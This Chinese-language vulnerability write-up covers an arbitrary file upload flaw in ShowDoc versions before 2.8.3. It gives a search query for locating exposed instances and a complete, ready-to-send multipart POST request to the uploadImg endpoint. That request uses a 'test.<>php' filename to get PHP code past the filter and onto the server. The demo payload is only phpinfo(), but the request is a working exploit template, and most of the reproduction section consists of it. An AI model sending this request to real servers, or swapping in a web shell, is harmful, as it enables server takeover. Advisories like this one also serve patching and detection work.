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ShowDoc PageController.class.php任意文件上传漏洞

漏洞描述

ShowDoc 存在任意文件上传漏洞,攻击者通过构造特殊的数据包可以上传恶意文件控制服务器

漏洞影响

ShowDoc < V2.8.3

网络测绘

app="ShowDoc"

漏洞复现

网站首页如下

img

构造如下数据包上传php文件

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Content-Length: 239
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Accept-Encoding: gzip

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php phpinfo();?>
----------------------------921378126371623762173617--

img

访问回显的路径

img